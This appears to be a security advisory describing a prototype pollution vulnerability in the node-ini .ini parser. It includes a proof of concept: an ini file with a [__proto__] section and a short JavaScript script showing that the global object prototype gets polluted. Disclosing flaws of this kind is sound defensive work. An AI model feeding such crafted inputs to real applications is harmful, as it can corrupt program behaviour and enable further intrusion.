Prototype Pollution

node-ini is a simple .ini config parser that supports sections, comments, arrays, and objects.

Affected versions of this package are vulnerable to Prototype Pollution. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program by providing an ini file with the __proto__ object.

PoC

test.ini
[__proto__]
polluted = polluted

 PoC.js
var ini = require('node-ini');
console.log({}.polluted);
ini.parse('./test.ini', function(err,data){
  if(err) console.log(err)
  else {
    console.log(data)
    console.log({}.polluted)
  }
});
